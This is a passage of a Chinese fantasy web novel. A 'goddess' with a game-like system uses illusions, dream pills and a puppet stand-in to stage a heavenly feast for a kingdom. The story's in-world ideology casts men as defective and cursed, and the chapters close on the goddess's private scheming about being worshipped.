不等周围的侍从疑惑这皇宫里哪来的蛇,但见那青蛇跳出来大喊:
“仗势欺人啦!”
“小公主仗势欺人!故意踩别人尾巴!踩了尾巴还不道歉!”
姬·被碰瓷者·婋:这是在?
但转瞬之间,她便和周围的所有人一样意识到,这样的身形,还会说话,只能是神女身边的腾蛇仙君。
只是……这腾蛇仙君怎么和她们以为的威严庄重不一样?
神仙都这样吗?
还没正式见过巫山神女的姬婋开始怀疑是否那位神女娘娘也是这副模样。
......总觉得很不靠谱。
32.悦神
皇城内所有庆典里最辉煌耀眼的盛典无疑是祭神之宴。
那场献给巫山神女的祭祀里,日月轮转,昼夜颠倒,天地为之失色,神在说话,于是声音响彻云霄。
金珠玉石如瓦砾,琉璃翡翠如泥沙,天南海北的奇珍异宝流水一样进献给神明,只为换得她的目光有那么一瞬停留。
但是今天,这里将迎来另一场与祭典截然不同却同样盛大的宴会。
这两年来天灾无数,朝廷为此花费良多,自然不适合拿出过多的钱将场面布置的华丽堪比那时的祭祀典礼,但每个人都确信一切将同样壮观浩大。
因为它属于每个人。
·
神女归来的消息在极短的时间里传遍了大地,不等她们欢呼惊喜,又听闻神明设宴,凡人皆可前来,霎时间,无数人急匆匆往皇城赶。
各种各样的言论在人群间流窜——
“神的宴会会是什么样子的呢?”
“天灾还会继续吗?”
“还有些地方在受灾呢,神为什么在这个时候设宴呢?”
“谁都可以参加吗?俺们这样的平头百姓也行?”
悲戚,不解,疑惑,叹息,兴奋,好奇……
无数情绪交织,新规则的公布又将这一切推上一个新高潮——
“神女有令——
“妇人皆可赴宴,而男子为神所厌弃之天残,本应禁止参加,然神女顾惜凡人重情义,特许福泽深厚、娲皇神眷在身者携一男子前往”
“即在宴会之日来月经者若有意愿,可附带一天残前往”
宣读文书的女官声音洪亮,周正端方,尽职尽责地将那些规矩简化成方便大家理解的话,以语言的方式传到每一个人耳中。
听到这规则时,男人说没有不满那是不可能的。
但不满又能怎么样呢?
谁不知道神女刚降世时就无比厌恶他们,直言男人乃天生残缺不得神眷之物,上天因厌弃男人而降下天灾。
这几年大周的百姓过的有多苦、灾害如何频繁,他们不是不知道。
官府是如何颁行新法使女人掌权他们也不是不知道,放眼望去,为了使天灾停止、为了得到朝廷的高产种子、防虫方法、新的耕地法子……几乎家家户户户主那栏写的都是女人。
而且办这宴会的是神女,凡人要如何与神抗衡?
再说了,比起这个,摆在他们面前更紧迫、需要争取的是……
“阿爹,你年纪已经大了,脸上都是褶子,满身老人味儿了,怎么能让你去参加神女的宴会呢?那不是对神女不敬吗?”
“依我看,祝大姐应该带我去”
约莫十八九岁的少男苦口婆心劝着面前的老人。
那老汉把眼一瞪:“我年纪大那是我活得久,有阅历有经验!你这样的毛头小男人懂什么?莽莽撞撞,若是冲撞了神女又当如何?”
“再说我已焚香沐浴,身体洁净,且凡人之躯于神女而言不过一具臭皮囊,好看与否并不在神明眼中,怎会不适合参加宴会?”
少男眼皮一跳,又要张口高声反驳,忽听“啪”一声响,转头望去,原是座上的女人拍桌子:
“吵吵吵,吵什么吵!听的我都烦了,你们男人就是事儿多。”
看她满脸的不耐烦,少男老汉也不吵了,俱是堆起笑容来说好话:
“祝大姐,您别生气啊。这不我们都想去那宴会上长长见识……这一不小心闹了笑话,您别跟我们一般计较。”
祝大姐拿眼觑着他们:
“我也不是不讲理,实在是你们男人太小肚鸡肠斤斤计较,但这样也就算了,你们还不懂事儿。”
“天残间争吵便罢了,怎可一而再再而三攀扯神女?”
那大姐神情十分不悦,训斥道:“尔等污秽无能,神女慈悲心肠,允许你们赴宴已是极大的恩惠,你们怎么能一口一个‘神女’?你们怎么配?”
听此言,二男俱是惊惶,连连告饶:
“大姐,我们不敢!只是感念神女恩德,绝非心怀不满!”
是他们争前往赴宴的资格得意忘形,一时不查,忘了天残被神厌弃。
见他们如此,祝大姐面色方才稍稍和缓。
“哼,若非我与你们母亲交好,谁愿意带上你们这群挨千刀的!便是给我钱我也不愿!”
说着,她狠狠啐了这二人一口,起身便要离开:
“好了,你们最好快些定下谁随我去赴宴,我可没心思留着听男人间没营养的破话。”
......
相似的戏码在各处上演,对于男人来说,此刻的他们不敢责怪神女,没能力去责怪女子,他们能争斗的唯有那赴宴的资格。
并不是每一家的女人都在此时来月经,但每一家想要赴神女宴会的男人不在少数,故而短短几天内无数的交易在皇城上演。
男人可以给出一切,求一个被女人带去参加宴会的资格。
*
神女的宴会是什么样的?
今日她们终于得到了答案。
还是那样静谧的夜晚,如每一处流传的神迹那样,星河倾泻,天地颠倒。
这一次夜空里升起的是太阳。
并不灼人,光芒温和而柔软,但是云海在那轮金乌身边翻涌,紫气漫天虹光万千。
恍惚间白雾缥缈,渐渐汇成人形。
看不清样貌,甚至那身影都极为虚幻,似乎下一秒就要随风散开。
然而在其身后,无数的彩绸丝线垂下,连接着那道身影,如戏台上被操纵的傀儡。
“这……”
“那绝不是神女”
有人斩钉截铁道。
最初她们觉得在天上的就是神女,可神女娘娘何其强大,怎么可能被这样操纵?
要说起来——
“我觉得,操纵那身影的才是神女”
抬头看,大日高悬,云雾翻涌,紫气东来,绸缎如山亦如瀑,更似光编织而成。
她们望着这一切,很难不去想那些云海、太阳、天幕之上,有着更强大、更浩瀚的存在在操控一切,一如操控——这个世界。
那么,“她”究竟是谁?
心下微动,百姓不约而同想起了那曾用于祭祀神女的祭坛。
在神女宣布邀众人赴宴之时,随之一起公布的:上古大巫以舞乐通天地。
而今姬姓皇室身怀巫之血脉,其先祖曾祭祀神女,这是大周人尽皆知的。
她们也知道,这场宴会最初之所以诞生,其中一部分原因是庆贺凡尘女子身体里仍流躺着先祖的血液、娲皇馈赠仍在,她们仍有创生之力、在天灾中表现良好。
这意味着神女觉得她们并非无可救药。
如此,方有此宴。
而要开宴,也需巫以舞悦神。
为此,公主姬婋登上那曾站着她母亲姬荣及神女的祭坛,悦神。
这是她的及笄之日,也是神女的宴会。
这是神的礼物,莫大的恩赐。
黑夜里,隔着遥远的距离,凡人不知道祭坛上是何情况,只觉得……天幕之上那“人”,似乎和姬婋一样……也在取悦神明。
然而其她人不知道,离姬婋最近的姬荣和朝臣能不知道吗?
此刻,她们就在祭坛周边,看着为了筹备宴会被腾蛇“抓”去练舞的姬婋在今日登上那高高的祭坛,又看着那一刻神迹忽然降临,星河倒转。
人间的公主还未起舞,云雾翻腾间,她的身影缓缓出现在天际。
不等周围的人惊诧,异变又生。
金光缭绕,虹光万丈,那彩绸轻轻晃动,于是天际的“她”开始起舞。
祭坛之上,姬婋忽觉身子一轻,好似有人以极轻柔的力道将她的四肢缓缓提起。
莫名的安心。
她顺从着那力道,踏出第一步。
天幕上下,云端地上,二者动作惊人的同步。
轰隆隆——轰隆——
惊雷之声乍响,却不见雨露。
人们惊慌地望去,望天上那道身影,“她”的每一个动作都如此有力,踏着云层,气势如千军万马。
惊雷阵阵,仿佛在为“她”喝彩,又似“她”的鼓点。
呼——呼——
好像过了很久,又好像只是眨眼一瞬间,雷声停而大风起,“她”的舞姿也随之变化。
轻柔,飘逸,狂放,自由。
不是怒吼和咆哮,每一声都在歌唱逍遥。
恍惚间她们看见了原野,看见了戈壁。安土重迁、几乎一生都如植物般扎根在一处的人们在这一刻与风共鸣,仿佛自己也化身成一阵风,或轻柔或急切,走过茫茫大漠,吹起黄沙漫天;踏过浩瀚海洋,掀起惊涛阵阵……
风可以去往任何地方。
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哗啦——
水也可以随心奔流。
从风变成水,流经山川野地,淌过千古岁月。
这一刻,万千百姓似乎不再被肉身束缚,好像真的变为了至柔至刚的水,在千年前的岁月里看见女人赤身而行,赤脚在大地上奔跑捕猎,每一个都强壮的像狮子,聪慧的如鬣狗。
鲜红的血迹自腿间留下,那是娲皇的馈赠,生命的起源。
那极浓重的色彩蜿蜒流淌,在时间的长河里从未停歇,从千年前流淌至今,于是我们知道自己身上留着最初的母亲的血。
咚——
最后的鼓点落下,人们猛地惊醒,看见天边那身影缓缓退场,云雾消散。
姬婋清醒过来,猛然发现鲜红的血迹流下,她的及笄之日,也是她来初潮的日子。
她的眼睛亮的像狼,某种奇异的神采在其间迸发。
难怪,难怪神女选择她……巫之血脉在及笄的日子被初潮唤醒并激发,唯有这样的巫,能感应天地。
也是在那一刻,华光迸发,飘渺幽远的女声响彻云霄,似古神低语:
【古老的血液自初生那一刻流淌至时间尽头,永不停息,巫之血脉将醒,血色潮汐奔涌】
【为庆贺娲皇之眷顾从未断绝,创生者始终行走于人间,巫山之门为诸位敞开。】
合抱粗的巨树遮天蔽日,万千星辰做它的果实,虬枝盘曲的树枝扭曲缠绕,托起天幕之上巨大的宫殿。
凡人抬眼望去,如龙蛇飞舞,盘旋为其基底。
再一看周围,哪里还有半分人间的模样?
金龙翱翔,百凤飞舞,各处俱是仙气缭绕,蟠桃灵花万千。
她们下意识寻找自己熟悉的人,但见四周望之清晰,自己的脑子眼睛却如糊了浆子一般,明明自觉清醒,却分不清到底是万人空巷还是门可罗雀。
不等她们深思,忽闻清脆悠长的啼鸣响起,声如玉碎,又似枪鸣。不过片刻,更如莺啼。
待到回神,只觉直击心灵,震撼人心。
“那是鲲鹏”
清而冷的声音传来,只见神女周身华光流溢,披帛轻扬,端的是超凡脱俗,说不出的仙气飘飘。
明明太阳就在不远处绽放光芒,万千龙凤浑身光芒万丈,可神女出现的那一刻,一切都沦为陪衬,黯然失色。
天地之大,她们眼里只装得下神女。
说起来也奇怪,明明该有千万人赴宴,此刻每个人却忘记了一切、模糊了感知,只觉得自己就站在神女面前,神女离自己如此之近。
她们不自觉端正仪态,心中又敬又畏。
明明神明什么都没做,可即使只是站在她面前,她们也觉得压迫感十足。
连抬眼仰望的动作都显得小心谨慎,唯恐亵渎冒犯了神。
而神女抬眸,万古千秋在她眼里不过一瞬。
她望着远处翻涌的云海,看着凡人眼里的惊异好奇,淡然开口:
“我从前往南极仙翁处去,又偶然踏足北冥,见其在南溟为鸟,北溟为鱼,很是奇异。老师告诉我,那是鲲鹏,乃天生地养的异兽,非娲皇所造”
“曾有人目睹其化鸟之景,提笔写意,流传人间。没想到那么多年了,你们描摹着先人的笔触,竟也知此等异兽”
说起这些时,不知是不是她们的错觉,总觉得神女眼里流露着别样的色彩,像感慨……也像惊叹。
神也会被凡人的举动触动吗?
不等她们过多思考,神女的声音再次传来:
“不过,鲲鹏是由河流水汽、天际闪电、日月光辉、山川尘埃所化,这一点倒是与你们的记载不同”
远处神物鸣叫的声音响亮悠长,她们不由自主地看过去,只见云消雾散,鲲鹏巨大的身体展现在眼前。
它像是半透明的,光和尘飘摇,霞光的彩和蓬勃绚烂的朝气流转其间。
明明身在此处,未往北境,却见神女一挥衣袖,那异兽随之由鸟化鱼,自九天之上纵身一跃,于天汉之内顺水而下。
凡人看的眼花缭乱,惊叹连连,又感慨神女果真仁慈心善,知她们好奇,也愿这样心平气和地给她们解惑。
凡人心里作何感想姒昭并不知晓,她只出声道:
“宴会即将开始,随我来。”
咚——
似有无形钟声响起,如梦似幻。
再抬眼,万象皆新。
33.神悦
【叮——】
【恭喜你打出成就“一舞倾城”】
姬婋舞的。
【恭喜你打出成就“声入人心”】
专门的官员传达的,入的百姓的心。
【恭喜你完成任务“盛宴”】
刚开了个头,但由于赴宴者太激动自动判定完成了。
【恭喜你……】
滋啦——
姒昭绝情地关闭响个不停的系统提示音,和系统一起构建支撑整个梦境世界。
从来到这个世界到现在,她坚持不懈地攒系统奖励的“美梦丸”“幻术”“入梦术”,几年下来,成果非常可观。
她没法给每个人塞美梦丸,入梦术和幻术也没办法笼罩整座城,所以她选择了比较阴的办法:
给美梦丸附加入梦术和幻术,然后把美梦丸扔水里。
一颗美梦丸只能给一个人用,化水里了也一样,但架不住她攒的多。
实在不够用,入梦术和幻术属于大范围技能,附加在美梦丸上的入梦术、幻术和丸药的功效一起起作用,很容易就可以为没吃到美梦丸的人创造一个同样的幻境。
如果是不符合“赴宴”要求但仍旧被该药物或技能选中怎么办?
很简单啊,姒昭只需要稍稍改动一下,噩梦代替美梦,地狱代替仙境,那就可以了。
毕竟不符合标准还非要来“赴宴”,这可是对规则的蔑视、对神女的冒犯,怎么可以不受到惩罚?
也就是说,一通操作下来,姒昭和系统需要同时控制两个梦境世界。
她们怎么能做到这一点?
这就不得不提在外赈灾、神迹遍地开花的那几年了。
从套装【摩西】开始,姒昭不停地开发套装新用法,这无形中锻炼了她的精神力。
还记得她在襄州留下的那朵花吗?
那个套装部件被留在襄州,后又辗转来到了皇城,在这个过程中,该部件离姒昭越来越远,但始终未曾消失。
——这证明姒昭的精神力还能连接到她。
留下“神明的馈赠”或许出于一时的动容,但别忘了,姒昭从不是放任情感压过理智、不计后果之人。
她当初选择姬荣为攻略对象、选择这个时间点当神女,是算好了天灾、算好了一切踏脚石的。
在益州以空间“南水北调”是为了救灾,也是在试探、调查自己精神力的承载度。
她已经知道了自己精神力目前的【承载力】,那么【距离】呢?没有距离,就谈不了“覆盖范围”。
为此,姒昭需要“锚点”。
刻意留下,无所谓留在哪里,只要在某一处、作为她测试自己精神力所能到达的距离的锚点即可。
那一刻贺熙的举动恰好让她动容,于是花落襄州。
而当花来到皇城,姒昭的精神力又突破了一个大关。
如今,不过覆盖整座皇城,她做得到。
哪怕还需同时操纵两个不同的梦境,她也做得到。
甚至她都想好了planB,如果真的由于人数太多无法支撑,那就把男人从梦境里踢出去。
反正本来也是惹神明厌恶、招来灾祸的东西,那么即使被这样对待,当然于是自找的。
目睹一切的系统:说实话对于这群男的来说他们可能会更愿意被踢出去……
梦境这边,仙气缭绕,紫气漫天;
梦境那边,阴风阵阵,鬼哭狼嚎。
牛头马面追人跑,尖头细腿的小鬼拖着肠子解九连环,三个头的恶犬流着哈喇子瞪着人……
这个吓得魂飞魄散,那个唬得涕泗横飞。
上了那阴森森的桥正要往下跳,低头一瞧剥皮鬼已是拖着镰刀要爬上来找替死鬼。
再一回头,只见那牌匾上明晃晃写着三个大字:奈何桥。
往前也无路,往后没出逃。
最后白眼一翻,□□一湿,做出个魂归地府的模样,还得系统来瞧。
“宿主!”
检测到噩梦这边无数男人的状况,系统简直要抱头尖叫:
“他们被吓失禁了!”
好脏好脏好脏——
就算只是梦,就算实际上他们是尿在自己家里自己身上,但是还是好恶心啊!
这群家伙不是天天吹嘘自己多么大胆吗!怎么才这种程度就交代了!
姒昭脸一黑:“这种事情就不要专门告诉我了啊!”
好脏好脏好脏。
“既然被吓晕了那把他们踢出去就好了啊!”
还能顺带减轻操纵梦境的压力。
系统依言把人踢走,闭了闭眼平复心情,随后转向另一个梦境,准备洗眼睛。
——当然还因为其实这边才是真正耗费心力、需要不断更新场景的主场。
姬荣睁开眼,看见天上宫阙。
流光四溢,华光漫天,瑶池仙影,雾气缭绕。仙鹤啼鸣,白鹿嬉闹。
定睛一看,那白马似的生物怎头上长角、背上生翼?黑白配色、桶一样的动物怎似人直立、又生鸟喙?擦亮眼再一瞧,那长脖子的玩意儿怎生得如此高大?
那真是亭台楼阁迷人眼,烟波碧水漾人心。
除去有仙娥嬉戏,力妇值守。
但见那仙子上身只着抹胸,下身穿灯笼纱裤,清凉舒适;这力妇铁甲泛寒光,威武不凡。
如今大周的妇女们思想有了变化,没人再觉得伤风败俗,反而更多人想着夏日里这样炎热,她们若也学着仙子穿会不会更凉爽更方便?<
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还有,陛下征女兵这事儿她们是知道的,先前还有人怀疑女兵能上战场吗,如今一看,天宫如此,那她们效仿天宫做事,自然不会有错。
还没等她们从这些思绪中抽离出来,恍然又见远处一女仙乌发如云,长裙迤地,装扮繁复,瞧着与此前所见仙子皆是不同。
那感觉不是单纯地为了表现庄重或保持“美丽”,更像是……
“那是嫘祖,使你们免受风霜雨雪之苦,按人间的道理,当尊称其一句女君”
疑惑窦生之际,神女的话使其醍醐灌顶。
嫘祖!传言中发明养蚕缫丝技术、带领妇女用野兽皮毛制作衣物,解决了当时“皴瘃之患”的“先蚕”!
若说起来,也是功德无量的神明。
仿佛是为了验证她们心中的话,只见嫘祖将所浣之纱衣倾洒出去,转瞬间便铺满溪流,也是那一刻她们才发觉,看似清浅的小溪实则占据目之所及的一切地方,说是海也不为过。
嫘祖手指微动,这片海成了打翻的颜料盘,五彩缤纷。
但更为惊人的是,在这一秒她们恍然发觉——自己眼中的海,正是抬头仰望时所见的天。
那不是五彩的海,那是缤纷的天,是她们日出时凝望的朝霞,日落时所见的夕阳。
或许嫘祖当年制衣制的就是天衣吗?
她采集了天上的云朵、星辰,乃至太阳月亮的光辉为衣吗?
又见嫘祖伸手拔下发簪,灵蛇一样的黑发落下,于是黑夜降临。
凡人看着大片大片的橙红与天蓝在遥远天际交织缠绵,太阳落下去,星子慢慢升起。
这是无可比拟的神迹。
但对于神明来说,稀松平常。
她们为此心潮起伏、思绪翻涌的,甚至不在神明眼中。
或许凡人本不该行于天上,此刻的她们模糊了感知。
只知晓跟着神女走,看遍了天上奇观,见到了嫘祖、精卫、青女等神仙,然不知究竟是过了千万年,亦或不过须臾间。
唯有操纵一切的姒昭和系统清醒,一边搭建变换梦境,一边注意着控制幻术。
这是她们提前排演过的,天庭之上,只会有女神,且要让民间有记载的女神都出现。
人类已经忘记母亲和姐妹太久了。
以至于到了王座之上多男人、男神庙宇多香火的地步。
她们已经找回了王座上的女人,看到了自己的姐妹,但是还远远不够。
如今的凡间香火最旺的无疑是“巫山神女”,即使姒昭从未要求过盖庙立像也挡不住神迹之下私祭无数。
但除此之外,庙里供的还是多为男神。
既然人们总是需要神明给予心灵慰藉,那不妨全部换成“姐妹”吧。
34.【兽】
这一路走来,众人看遍了天上奇观、仙宫景象。
才见嫘祖以天衣为夜幕轮转日月,须臾又见青女一呼一吸化作人间风霜雨雪;
银鞍白马、飒沓而来的仙子是那威名赫赫的战神九天玄女,悲天悯人、宝相庄严的是家喻户晓的后土娘娘
......
她们陷在幻境与梦里,半梦半醒间不知身在何处,飘飘悠悠似喝醉了酒。
神女始终是最坚固的锚点,引她们穿行瑶池仙台,观天上百态。
直到最终,停在笼着月色的琼楼玉宇前方。
那月色寒凉,冷的像刀剑。
大周谁人不知祭祀之日神女斗法一事,如今只盼着这月宫里的太阴娘娘切勿撞上巫山神女,否则神仙打架,凡人遭殃。
可惜怕什么来什么,但见月光如羽毛悠悠飘落,这方空间转瞬便变换了模样,月桂芬芳馥郁,玉兔于其下捣药。
熟悉的身影踏月而来:“既来了,何不进来坐坐?”
*
“快快快!换装!快给傀儡换上我以前保存过叫【恒娥】的那个套装!”
“还有场景!切场景!要进月宫了!”
为保证出场的神仙各有特色,姒昭给傀儡换装的手都抡出残影了。
不仅要换傀儡身上的衣服,还得配合幻境场景换背景部件,同时需支撑梦境与幻境的叠加不崩塌。
表面仙气飘飘淡然出尘、引众人前进的姒·神女·昭悄悄活动了一下手:有点爪了。
*
仙法霸道,转换天地于神仙而言再简单不过。
不过她们也明白,恒娥这波是冲着巫山神女来的,凡人不在仙人眼中,那多半也是安全的。
果然,那清冷高傲的身影径直朝巫山神女走去,一个眼神都没施舍给她们。
不过即使如此,想起当初两位神仙斗法的场面众人还是忍不住心下一紧,气氛凝重。
然而出乎意料的,玉兔奉茶,月桂接引流光,两位神明间不见剑拔弩张,唯有溪水潺潺一样的平静柔和。
“玄冥神君,还要多谢你,助我勘破迷障,重获新生。”
恒娥姿态平和,语气郑重。
细小的桂花落于茶盏,漾起圈圈涟漪。
姒昭神色微动:“太阴神君曾舍身奔月,担万千因果,如此气魄胆识得众仙敬重,我自然也在此列。”
恒娥动作顿住,唇角掀起一抹略带戏谑的笑:
“哦?”
“我可是记得那日腾蛇吞月,毫不留情?”
你嘴上说敬重,下手却不讲半点情谊啊。
听到此话,姒昭神色不变:
“若非如此,只怕太阴神君要一错再错。”
月桂的流光落下,为神女的衣袍缀上星辰。
那巫山之女道:“此前碧霞元君寻我,愿以上佳的帝流浆换她游一遭归墟,我可都没有同意。”
祭祀之日腾蛇吞下了明月,随即潜入的是归墟。
而归墟,连同生死。
“如此说来,还是你赚了。”
游一次归墟,生死罅隙里哪怕窥见半分自己的命运,那都是极大的幸运。
“太阴,你要永世高悬于天。”
四目相对,月光流淌。
良久,恒娥浅笑:
“有玄冥此话,归墟之水不敢来吞我,月亮自然也当永远明亮。”
说着,她望向此前一直被忽视的凡人,语气轻缓:
“而月亮,会一直照耀大周。”
大多数人还在茫然中,少数人如姬荣等则忍不住心头一跳。
她们可不觉得这个“照耀”仅指字面意思上的照耀。
似是被她们的紧张愉悦到,气质清冷的恒娥笑着朝她们勾勾手:
“过来”
对上目光,姬荣心神俱颤,这熟悉的预感……
果不其然,月华似练落到她身上,没弄清发生了什么,眨眼的功夫她就出现在了恒娥身前,略微伸手就能触碰到对方。
此等距离,近的让姬荣心头不自觉升起恐惧。
太完美了。
神的脸太完美了。
完美到看不出半分与人相似的痕迹,光滑的没有半点人类肌肤的纹理,更遑论皱纹或毛孔。
有那么一瞬间姬荣想起了神女第一次出现时的模样,人身与兽神共存于一具躯体,带着最原始的兽性和荒诞诡谲,似乎张口就要择人而噬。
也许是时间太过久远,神女在其她时刻显露出来的形象高贵而超凡脱俗,也许是人类总是擅长遗忘,她差一点忘记了,神这种存在本就和她们不同。
无论是不经意间流露出来的那些东西,还是偶然凑近去看看到那背后血红的舌头和森白的牙
亦或者如此刻一般,仔细看就能发现——只是相似。
女娲按着自己的形象造人,但造出来的东西永远不可能和她本身一样。
如此相似,又截然不同。
让人心生恐惧。
正恍然,恒娥幽幽开口:
“你的先祖能从玄冥神君处取得翊神弓拯救自己的族人,你呢?”
“你有从先祖那里继承这样的勇气吗?”
姬荣望着那张脸,一字一句道:
“自然是有的”
“若没有,岂不辜负了巫山神女娘娘的恩赐?”
她隐约意识到,恒娥问出这个问题,那么接下来会发生的事必当不同寻常,可她退不得,一步也不行。
那太阴神君定定地望着她,忽而一笑:
“玄冥神君慧眼,竟得如此瑰宝。”
她笑着:“既如此,本君就可以放心了。”
恒娥素手轻扬,似有无形的光辉落到人群中,众人定睛望去,公主姬婋正泛着莹莹圣光。
这是……
身边的大臣立刻上前护住她,但姬婋示意对方不必如此,那是神,若真想对她做什么,她们根本无法反抗。
恒娥微微挑眉,道:
“当今之世还能诞育出巫的血脉,虽比不得上古,倒也算不错了”
“那么,我允许你对月而歌,对月起舞,新生的巫”
“天灾能消与否,全看你了,小祭司”
这一连串的话砸下来,不说年纪尚小阅历尚浅的姬婋,便是姬荣都懵了。
她们听到了什么?
天灾?
这又与天灾有什么关系?
再加上此前恒娥与巫山神女交谈也未避着她们,这……
回想起两位神明之前的话,加上这几年来各处传来的、有关那轮巨大明月的消息,姬荣心一沉。
她不是不知道在大周所有的神迹里,一直存在着一轮与祭祀之日一样的月亮,皎洁,明亮,巨大的仿佛要落下来毁灭整个大周。
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但是那是伴随着神女的神迹出现的,神女对此无作为,那边是默认其存在。
她们身为凡人,只能跪下来接着神的恩惠并交口称赞。
除此之外,别无她法。
她们一直相信神女来到大周就是在帮助她们,看到两位神仙斗法便觉得双方彼此不对付,神女偏袒大周。
可是,明明同为【神】的存在,才是同类啊。
想到这一点,姬荣感觉自己的心都在剧烈颤抖,像大周最严重的那场地震。
而凡人对于神来说又算什么呢?
纵使是讨过她欢心,难道还能与【同类】相比吗?
恒娥说感谢巫山神女助她破除魔迷障,重获新生,可祭祀那日,神女分明说过太阴将死。
而今竟是寻到了生机?
甚至那生机是在神女指点下寻得的。
错了,她们全都错了。
姬荣如是想到。
她们自觉面对神明已足够谦卑,野心藏的够深,了解神明的傲慢。
自以为可以最大限度、不惹神厌烦的从她那里讨要好处。
所以她在神女面前表现出十二分的爱戴,哪怕龙椅也可以让出,神女离去她思念成疾;
姬婋努力展现出天真纯稚的模样,在腾蛇面前表现的聪慧但纯真,以公主之尊练舞练歌也不曾有半分不满懈怠,无论何时充满对神女的好奇孺慕;
大臣们更是对神明极尽尊重推崇,五分的信奉也能演出十分……
她们自以为是自己用这些在天灾下从神女那里求得庇护,使妖魔鬼怪不在大周土地上作乱,凭神权改换结构……
她们以为自己在很谨慎的从神身上啃食血肉。
直到这一刻她才发觉,她们过往所有关于神女的认知都是假的,全部需要被推翻。
神不在乎凡人的算计,她们才自以为占了便宜。
回想过往的一切,姬荣的心越发的冷。
那时的祭祀,神女难道真的算不到恒娥将临吗?
她要凡人祭祀的真的是她这个“巫山神女”吗?
那时候的归墟之水,那之后伴随着神迹出现的月亮……
凡人自以为得神明庇佑,是否整个凡间才是巫山神女为助恒娥神君寻得生机而搭的祭坛?
姬荣的心一寸寸冷下来,好啊,真是好啊,她自诩聪明,野心勃勃,觉得即使面对更凶更大的兽也敢去搏一搏。
战场上尚有以弱胜强以少胜多,人生何处不是战场?她何曾畏惧?
她不觉得自己错了,只恨自己当初错估对手的实力。
她把猛虎看成了单个的豺狼,这是她的错。
但野心,从来没有错。
缥缥缈缈的雾气充斥了这方空间,姬荣的眼前变得模糊不清,她好像睡着了,又好像是真正从梦中醒来。
待到天光大亮,帝王睁开眼,看见神女长身玉立,像玉雕琢成的像,像山中的兽,像九天之上的别的存在,唯独不像人。
是啊,她怎么能忘记,那是神女啊。
明明只要凑近看,她哪里都和人类不同。
此前自己怎会把猛虎认绵羊?
天子愣愣的看着神明,神明回首,声音熟悉的让她莫名想要流泪:
“巫本该祭神”
“去为那庇佑了大周、能解天灾的神明唱歌、跳舞吧”
“月亮会永远照耀大周”
35.秩序
幻术终结,梦境消弭。
天光大亮,凡人从天宫回到地上。
梦境已醒,姬荣却仍如身在梦中。
她盯着镜子里自己的脸——精致,年轻,绝不是如今的她会拥有的状态。
重返青春,多么美妙的字眼。
可她看着镜子里的自己,脑海里却总不自觉浮现出神女的话。
“去祭祀月亮吧”
“月亮将永远照耀大周”
神女看着她,语气还是那样平和。
人间的帝王刚从天上跌入凡尘,从梦一样的瑰丽世界醒来,而神就站在她面前,亲口宣判她所想的关于谎言的一切皆为真实。
她看见神的嘴巴一张一合,不那么美妙的字眼从里面蹦出来:
“让你的女儿,去祭祀月亮,效仿上古的大巫对月起舞、对月而歌”
“你也参与进去”
“恒娥于天灾下解救苍生,救苦救难,那轮月亮就是凭证”
“周的气运从此与月亮相连,去祭祀你们的神吧”
气运。
姬荣记得这个词。
那日想献给巫山神女的祭祀典礼上,这个词同样是从神女口中说出,指明恒娥要于天灾中取大周气运,以破太阴死劫。
而今原来是这样吗?
恒娥不再想着趁天灾降世取周之气运,而是更直白的,借着巫山神女的遮掩,将周与自身绑定在一起。
从此大周绵延多少年,恒娥便共享多少年周的气运。
一场无可挑剔的阳谋。
姬荣望着姒昭,似有千言万语,像是想要伸手触碰神明的衣摆,最终却也只是说出一句:
“荣继承先祖遗志,该永世供奉的乃巫山神女”
很难想象似乎坚不可摧的帝王也能露出这种神情。
就像是看到从襄州来的花凋谢一样。
哦,那花很早就不属于天子、也不属于人间了。
神女只淡然看着她,目光和往常没有半点不同:
“因果线早已将恒娥与周捆绑在一起”
“月亮照耀大周,大周就该给出祭祀”
也许姬荣差点忘记了,到了如今这一步,神女与大周、与姬氏的因果线早已了结,取而代之的是属于恒娥与姬氏、大周的新因果线。
姬荣望着她:“姬氏该祭祀的是巫山神女”
“予我先祖生,更予我一族生,这份恩情一直延续到了今天,让我能站在神女面前”
“荣不能做那背信弃义之人”
她曾如此对腾蛇承诺,而今用以祈求神女,让祭祀得以延续。
神女轻叹:“莫非你要祭祀两位神明吗?”
姬荣眼神坚毅:“那又有何不可呢?”
“凡间的寺庙里也供奉着无数神像”
她态度坚定,而神明望着她,轻轻叹了口气。
姬荣看见神明对她伸出手,轻轻的,落在了她的脸上。
她无法自抑地颤抖了一下。
好冰。
像触碰了冰块,感受不到半点温度,只有彻骨的寒冷。
但这也是神女唯一一次触碰她,触碰凡人。
姬荣没来得及弄清神女要做什么,只觉得这是神真正意义上的踏足凡尘,也是最大的恩惠。
赐下神迹不是,出现在凡人面前不是,甚至给出那朵花也不是,因为神始终高坐云端,不染红尘。
直到这一刻,身而为神愿意主动触碰凡人。
神的肌肤与人相贴。
这才是,神恩浩荡。
姬荣觉得自己不太正常,她该想那些救大周于水火的神迹,想被赐福的种子,想天书……
但她大逆不道地觉得,这一刻才是真正的,无可比拟。
但神女很快收回了手,那阵冰凉的触感消失了。
天子听到神明对她说:
“你若执意如此,那便这样吧”
“我应许你,应许姬氏,拥有祭祀我的权力”
记忆如水消散,姬荣回到此刻,望着镜子里的那张脸。
神女的手触碰凡人,于是有了重返青春的奇迹。
神女离去后,她惊觉自己变年轻了。
而姬荣望着这个奇迹,她身边的人望着这个活的奇迹,会无数次想起神女。
*
所有人都沉浸在“我们上天了”“公主得恒娥仙君认可”“陛下变年轻了”的震撼中时,系统的震惊也不少。
系统:“这就是你提前握住冰可乐的原因?”
姒昭:“嗯哼。”
神女嘛,总要有点不同。
系统:“那你给姬荣换新的妆容干嘛?”
没错,姬荣其实没有变年轻,只是姒昭给她换了个妆容。
触碰她也是为了这个。
姒昭:“为了让她们记得我这个神女还站在这里,不要忘了祭祀我”
系统震惊:“你之前那么洒脱地把赈灾功劳都送给【太阴神君】了,我还以为你真打算退居幕后!”
姒昭比她还震惊:
“那怎么可能?”
“我辛辛苦苦演那么久怎么可能不收割胜利果实?”
就算由傀儡扮演的恒娥算她的人也不行!
系统不解:“那你演那么大一出?那你风轻云淡地就要拒绝她们的祭祀?”
姒昭:“只要我还站在这她们就不敢真的把我推开只祭祀恒娥”
难道巫山神女未曾帮助过她们吗?那当然是有的。
既然如此,那么忘恩负义真的不祭祀什么的就是不可能的啦,万一给神明留下恶感怎么办?
至于为什么要演……
“统,你是不是忘了,我们是神女?”
“神女怎么可以被凡人算计呢?”
她敢说姬荣这群家伙从一开始起就在算计她这个神女!
